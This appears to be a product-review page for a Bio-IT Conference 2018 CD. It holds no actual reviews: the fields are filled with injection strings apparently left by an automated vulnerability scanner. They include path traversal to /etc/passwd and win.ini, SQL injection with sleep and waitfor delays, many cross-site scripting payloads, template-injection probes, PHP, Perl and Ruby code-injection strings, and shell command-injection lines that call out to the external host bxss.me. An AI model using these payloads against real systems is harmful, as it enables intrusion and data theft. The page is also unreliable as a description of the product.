Product reviews for Bio-IT Conference 2018 - CD

/../../../../../../../../../../windows/system32/BITSADMIN.exe

ZaFkIAwN

response.write(9149382*9252663)

'+response.write(9149382*9252663)+'

"+response.write(9149382*9252663)+"

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

12345'"\'\");|]*{
<>�''💡

../

./

<esi:include src="http://bxss.me/rpb.png"/>

${10000082+9999352}

echo tztvjo$()\ earjbj\nz^xyu||a #' &echo tztvjo$()\ earjbj\nz^xyu||a #|" &echo tztvjo$()\ earjbj\nz^xyu||a #

&echo mlqvly$()\ frhpof\nz^xyu||a #' &echo mlqvly$()\ frhpof\nz^xyu||a #|" &echo mlqvly$()\ frhpof\nz^xyu||a #

|echo pkurnw$()\ muxrvf\nz^xyu||a #' |echo pkurnw$()\ muxrvf\nz^xyu||a #|" |echo pkurnw$()\ muxrvf\nz^xyu||a #

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

(nslookup hitvnlgndjvndb6d8f.bxss.me||perl -e "gethostbyname('hitvnlgndjvndb6d8f.bxss.me')")

$(nslookup hitjcwcfkstvxd0ed0.bxss.me||perl -e "gethostbyname('hitjcwcfkstvxd0ed0.bxss.me')")

1some_inexistent_file_with_long_name.jpg

&(nslookup hithtxsofzpve694bb.bxss.me||perl -e "gethostbyname('hithtxsofzpve694bb.bxss.me')")&'\"`0&(nslookup hithtxsofzpve694bb.bxss.me||perl -e "gethostbyname('hithtxsofzpve694bb.bxss.me')")&`'

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

(nslookup hitvnlgndjvndb6d8f.bxss.me||perl -e "gethostbyname('hitvnlgndjvndb6d8f.bxss.me')")

bxss.me

|(nslookup hitxddxnbacybe85c7.bxss.me||perl -e "gethostbyname('hitxddxnbacybe85c7.bxss.me')")

)

`(nslookup hitmlcmmxwfvj30f46.bxss.me||perl -e "gethostbyname('hitmlcmmxwfvj30f46.bxss.me')")`

;(nslookup hitjhswgtlowke47aa.bxss.me||perl -e "gethostbyname('hitjhswgtlowke47aa.bxss.me')")|(nslookup hitjhswgtlowke47aa.bxss.me||perl -e "gethostbyname('hitjhswgtlowke47aa.bxss.me')")&(nslookup hitjhswgtlowke47aa.bxss.me||perl -e "gethostbyname('hitjhswgtlowke47aa.bxss.me')")

'"()

!(()&&!|*|*|

^(#$!@#$)(()))******

!(()&&!|*|*|

&n910496=v923348

ctime
sleep
p0
(I30
tp1
Rp2
.

'.gethostbyname(lc('hitii'.'jlymytixce481.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(66).chr(122).chr(82).'

".gethostbyname(lc("hitnt"."czhrabkqaf843.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(77).chr(110).chr(79)."

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

";print(md5(31337));$a="

"+"A".concat(70-3).concat(22*4).concat(112).concat(65).concat(118).concat(73)+(require"socket"
Socket.gethostbyname("hithc"+"diqvtttucddd0.bxss.me.")[3].to_s)+"

HttP://bxss.me/t/xss.html?%00

bxss.me/t/xss.html?%00

'.gethostbyname(lc('hitii'.'jlymytixce481.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(66).chr(122).chr(82).'

955

"+"A".concat(70-3).concat(22*4).concat(112).concat(65).concat(118).concat(73)+(require"socket"
Socket.gethostbyname("hithc"+"diqvtttucddd0.bxss.me.")[3].to_s)+"

955

'+'A'.concat(70-3).concat(22*4).concat(106).concat(68).concat(104).concat(86)+(require'socket'
Socket.gethostbyname('hitrc'+'ztnjnrat2ac9f.bxss.me.')[3].to_s)+'

955/.

${@print(md5(31337))}

${@print(md5(31337))}\

'.print(md5(31337)).'

/xfs.bxss.me

940267

http://xfs.bxss.me

//xfs.bxss.me

${@print(md5(31337))}

/\xfs.bxss.me

'"

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

<!--

'"()&%<acx><ScRiPt >dv9F(9570)</ScRiPt>

'"()&%<acx><ScRiPt >dv9F(9337)</ScRiPt>

9592997

acu7891＜s1﹥s2ʺs3ʹuca7891

acux3709��z1��z2a�bcxuca3709

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

"+"A".concat(70-3).concat(22*4).concat(112).concat(65).concat(118).concat(73)+(require"socket"
Socket.gethostbyname("hithc"+"diqvtttucddd0.bxss.me.")[3].to_s)+"

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

<ScRiPt >dv9F(9889)</ScRiPt>

<WLDYUJ>HO7TK[!+!]</WLDYUJ>

<script>dv9F(9836)</script>

<ScR<ScRiPt>IpT>dv9F(9695)</sCr<ScRiPt>IpT>

<ScRiPt
>dv9F(9332)</ScRiPt>

<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9490></ScRiPt>

<ScRiPt
>dv9F(9482)</ScRiPt>

<svg  

�onload=dv9F(9864);>

acx__${98991*97996}__::.x

<isindex type=image src=1 onerror=dv9F(9212)>

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9730'>

<body onload=dv9F(9121)>

<img src=//xss.bxss.me/t/dot.gif onload=dv9F(9615)>

<img src=xyz OnErRor=dv9F(9391)>

<img/src=">" onerror=alert(9291)>

%0D%0A%3C%53%63%52%69%50%74%20%3E%64%76%39%46%289803%29%3C%2F%73%43%72%69%70%54%3E

\u003CScRiPt\dv9F(9975)\u003C/sCripT\u003E

&lt;ScRiPt&gt;dv9F(9837)&lt;/sCripT&gt;

�<img acu onmouseover=dv9F(98081) //�>

<input autofocus onfocus=dv9F(9602)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

}body{acu:Expre/**/SSion(dv9F(9529))}

<% contenteditable onresize=dv9F(9636)>

nifVS
<ScRiPt >dv9F(9325)</ScRiPt>

<WI8FGI>QQLHS[!+!]</WI8FGI>

<ifRAme sRc=9774.com></IfRamE>

<lTrWK5 x=9708>

<img sRc='http://attacker-9302/log.php?

<0z9fCM<

-1 OR 2+524-524-1=0+0+0+1 --

-1 OR 3+524-524-1=0+0+0+1 --

-1 OR 3*2<(0+5+524-524) --

-1 OR 3*2>(0+5+524-524) --

-1 OR 2+769-769-1=0+0+0+1

-1 OR 3+769-769-1=0+0+0+1

-1 OR 3*2<(0+5+769-769)

-1 OR 3*2>(0+5+769-769)

-1' OR 2+963-963-1=0+0+0+1 --

-1' OR 3+963-963-1=0+0+0+1 --

-1' OR 3*2<(0+5+963-963) --

-1' OR 3*2>(0+5+963-963) --

-1' OR 2+442-442-1=0+0+0+1 or 'jYooNEW3'='

-1' OR 3+442-442-1=0+0+0+1 or 'jYooNEW3'='

-1' OR 3*2<(0+5+442-442) or 'jYooNEW3'='

-1' OR 3*2>(0+5+442-442) or 'jYooNEW3'='

-1" OR 2+498-498-1=0+0+0+1 --

-1" OR 3+498-498-1=0+0+0+1 --

-1" OR 3*2<(0+5+498-498) --

-1" OR 3*2>(0+5+498-498) --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

d9HN1rlx'; waitfor delay '0:0:15' --

6NiWGmRf'); waitfor delay '0:0:15' --

cCWF0eYo')); waitfor delay '0:0:15' --

-5 OR 71=(SELECT 71 FROM PG_SLEEP(15))--

-5) OR 516=(SELECT 516 FROM PG_SLEEP(15))--

-1)) OR 432=(SELECT 432 FROM PG_SLEEP(15))--

Y6ajIEKy' OR 752=(SELECT 752 FROM PG_SLEEP(7.702))--

CyF0FGx0' OR 710=(SELECT 710 FROM PG_SLEEP(15))--

vZiY8OEP') OR 297=(SELECT 297 FROM PG_SLEEP(15))--

61FrLf03') OR 415=(SELECT 415 FROM PG_SLEEP(15))--

CBsxaj8l')) OR 319=(SELECT 319 FROM PG_SLEEP(15))--

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1����%2527%2522

@@NiNES

response.write(9963939*9123149)

'+response.write(9963939*9123149)+'

"+response.write(9963939*9123149)+"

Maf25Ree

/../../../../../../../../../../windows/system32/BITSADMIN.exe

1*

1*

1*

1*

dK0O2Dcc

../../../../../../../../../../../../../../etc/passwd

-1 OR 2+23-23-1=0+0+0+1

../../../../../../../../../../../../../../windows/win.ini

-1 OR 3+23-23-1=0+0+0+1

-1 OR 3*2<(0+5+23-23)

0zTPQTQc

-1 OR 3*2>(0+5+23-23)

1'"

1*

1*

<esi:include src="http://bxss.me/rpb.png"/>

echo nidahg$()\ ijhpkj\nz^xyu||a #' &echo nidahg$()\ ijhpkj\nz^xyu||a #|" &echo nidahg$()\ ijhpkj\nz^xyu||a #

1*

&echo nxeofn$()\ hwdhge\nz^xyu||a #' &echo nxeofn$()\ hwdhge\nz^xyu||a #|" &echo nxeofn$()\ hwdhge\nz^xyu||a #

1*

../

./

1����%2527%2522

-1 OR 2+341-341-1=0+0+0+1

|echo fngkse$()\ uxvxpn\nz^xyu||a #' |echo fngkse$()\ uxvxpn\nz^xyu||a #|" |echo fngkse$()\ uxvxpn\nz^xyu||a #

@@Eb3wx

@@Eb3wx

${9999593+9999269}

-1 OR 3+341-341-1=0+0+0+1

-1 OR 3*2<(0+5+341-341)

(nslookup hitxzkdifevtk61146.bxss.me||perl -e "gethostbyname('hitxzkdifevtk61146.bxss.me')")

$(nslookup hiteomyofstiw31718.bxss.me||perl -e "gethostbyname('hiteomyofstiw31718.bxss.me')")

-1 OR 3*2>(0+5+341-341)

-1 OR 3*2>(0+5+341-341)

1'"

1����%2527%2522

@@my8CA

&(nslookup hitmtojvsxtxxfad20.bxss.me||perl -e "gethostbyname('hitmtojvsxtxxfad20.bxss.me')")&'\"`0&(nslookup hitmtojvsxtxxfad20.bxss.me||perl -e "gethostbyname('hitmtojvsxtxxfad20.bxss.me')")&`'

&n989080=v946573

)

!(()&&!|*|*|

^(#$!@#$)(()))******

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

|(nslookup hitvjnhhbsquz233f3.bxss.me||perl -e "gethostbyname('hitvjnhhbsquz233f3.bxss.me')")

`(nslookup hitpxheguoamu25e1a.bxss.me||perl -e "gethostbyname('hitpxheguoamu25e1a.bxss.me')")`

&(nslookup hitmtojvsxtxxfad20.bxss.me||perl -e "gethostbyname('hitmtojvsxtxxfad20.bxss.me')")&'\"`0&(nslookup hitmtojvsxtxxfad20.bxss.me||perl -e "gethostbyname('hitmtojvsxtxxfad20.bxss.me')")&`'

;(nslookup hitvslfsxgxdmf477c.bxss.me||perl -e "gethostbyname('hitvslfsxgxdmf477c.bxss.me')")|(nslookup hitvslfsxgxdmf477c.bxss.me||perl -e "gethostbyname('hitvslfsxgxdmf477c.bxss.me')")&(nslookup hitvslfsxgxdmf477c.bxss.me||perl -e "gethostbyname('hitvslfsxgxdmf477c.bxss.me')")

;(nslookup hitvslfsxgxdmf477c.bxss.me||perl -e "gethostbyname('hitvslfsxgxdmf477c.bxss.me')")|(nslookup hitvslfsxgxdmf477c.bxss.me||perl -e "gethostbyname('hitvslfsxgxdmf477c.bxss.me')")&(nslookup hitvslfsxgxdmf477c.bxss.me||perl -e "gethostbyname('hitvslfsxgxdmf477c.bxss.me')")

'"()

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

'"()

'.gethostbyname(lc('hitoa'.'ygrtndww0c3cd.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(86).chr(106).chr(80).'

".gethostbyname(lc("hitdx"."wcnpqfqd580ac.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(84).chr(112).chr(74)."

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

";print(md5(31337));$a="

${@print(md5(31337))}

ctime
sleep
p0
(I30
tp1
Rp2
.

HttP://bxss.me/t/xss.html?%00

${@print(md5(31337))}\

'.gethostbyname(lc('hitoa'.'ygrtndww0c3cd.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(86).chr(106).chr(80).'

bxss.me/t/xss.html?%00

"+"A".concat(70-3).concat(22*4).concat(99).concat(69).concat(103).concat(69)+(require"socket"
Socket.gethostbyname("hitxu"+"hctzulzac6c71.bxss.me.")[3].to_s)+"

'.print(md5(31337)).'

955

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

'+'A'.concat(70-3).concat(22*4).concat(112).concat(73).concat(111).concat(87)+(require'socket'
Socket.gethostbyname('hitti'+'ymfcdgpp31fe3.bxss.me.')[3].to_s)+'

955

955/.

955

/xfs.bxss.me

'"

946067

946067

<!--

http://xfs.bxss.me

//xfs.bxss.me

/\xfs.bxss.me

'"()&%<acx><ScRiPt >UTJt(9151)</ScRiPt>

'"()&%<acx><ScRiPt >UTJt(9714)</ScRiPt>

9658934

acu1505＜s1﹥s2ʺs3ʹuca1505

acux8424��z1��z2a�bcxuca8424

<%={{={@{#{${acx}}%>

response.write(9627023*9739191)

/../../../../../../../../../../windows/system32/BITSADMIN.exe

veGOzOWP

<th:t="${acx}#foreach

'+response.write(9627023*9739191)+'

"+response.write(9627023*9739191)+"

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

response.write(9627023*9739191)

<esi:include src="http://bxss.me/rpb.png"/>

../../../../../../../../../../../../../../etc/passwd

${9999344+10000075}

acx{{98991*97996}}xca

acu1505＜s1﹥s2ʺs3ʹuca1505

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

<ScRiPt >UTJt(9533)</ScRiPt>

echo hwkijv$()\ nycxyf\nz^xyu||a #' &echo hwkijv$()\ nycxyf\nz^xyu||a #|" &echo hwkijv$()\ nycxyf\nz^xyu||a #

<W5GI8B>LFIPY[!+!]</W5GI8B>

&echo fpoypl$()\ azfpmi\nz^xyu||a #' &echo fpoypl$()\ azfpmi\nz^xyu||a #|" &echo fpoypl$()\ azfpmi\nz^xyu||a #

|echo ozfxab$()\ tamgxz\nz^xyu||a #' |echo ozfxab$()\ tamgxz\nz^xyu||a #|" |echo ozfxab$()\ tamgxz\nz^xyu||a #

<script>UTJt(9188)</script>

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

<ScR<ScRiPt>IpT>UTJt(9335)</sCr<ScRiPt>IpT>

1some_inexistent_file_with_long_name.jpg

(nslookup hitrkiywrrjzt0b546.bxss.me||perl -e "gethostbyname('hitrkiywrrjzt0b546.bxss.me')")

&n941963=v915168

Http://bxss.me/t/fit.txt

<ScRiPt
>UTJt(9445)</ScRiPt>

<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9384></ScRiPt>

$(nslookup hitzvgrueiufm8d3e3.bxss.me||perl -e "gethostbyname('hitzvgrueiufm8d3e3.bxss.me')")

&(nslookup hitcxddadgcvg5ffa3.bxss.me||perl -e "gethostbyname('hitcxddadgcvg5ffa3.bxss.me')")&'\"`0&(nslookup hitcxddadgcvg5ffa3.bxss.me||perl -e "gethostbyname('hitcxddadgcvg5ffa3.bxss.me')")&`'

)

<ScRiPt
>UTJt(9430)</ScRiPt>

|(nslookup hithagdlwubpu1bdb6.bxss.me||perl -e "gethostbyname('hithagdlwubpu1bdb6.bxss.me')")

!(()&&!|*|*|

<svg  

�onload=UTJt(9517);>

`(nslookup hitxledavjkgu09959.bxss.me||perl -e "gethostbyname('hitxledavjkgu09959.bxss.me')")`

;(nslookup hitdzgzrciwiu20975.bxss.me||perl -e "gethostbyname('hitdzgzrciwiu20975.bxss.me')")|(nslookup hitdzgzrciwiu20975.bxss.me||perl -e "gethostbyname('hitdzgzrciwiu20975.bxss.me')")&(nslookup hitdzgzrciwiu20975.bxss.me||perl -e "gethostbyname('hitdzgzrciwiu20975.bxss.me')")

http://bxss.me/t/fit.txt?.jpg

<isindex type=image src=1 onerror=UTJt(9736)>

bxss.me

http://bxss.me/t/fit.txt?.jpg

^(#$!@#$)(()))******

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9065'>

<body onload=UTJt(9992)>

<img src=//xss.bxss.me/t/dot.gif onload=UTJt(9345)>

../../../../../../../../../../../../../../windows/win.ini

<img src=xyz OnErRor=UTJt(9709)>

<img src=xyz OnErRor=UTJt(9709)>

<img/src=">" onerror=alert(9671)>

ctime
sleep
p0
(I30
tp1
Rp2
.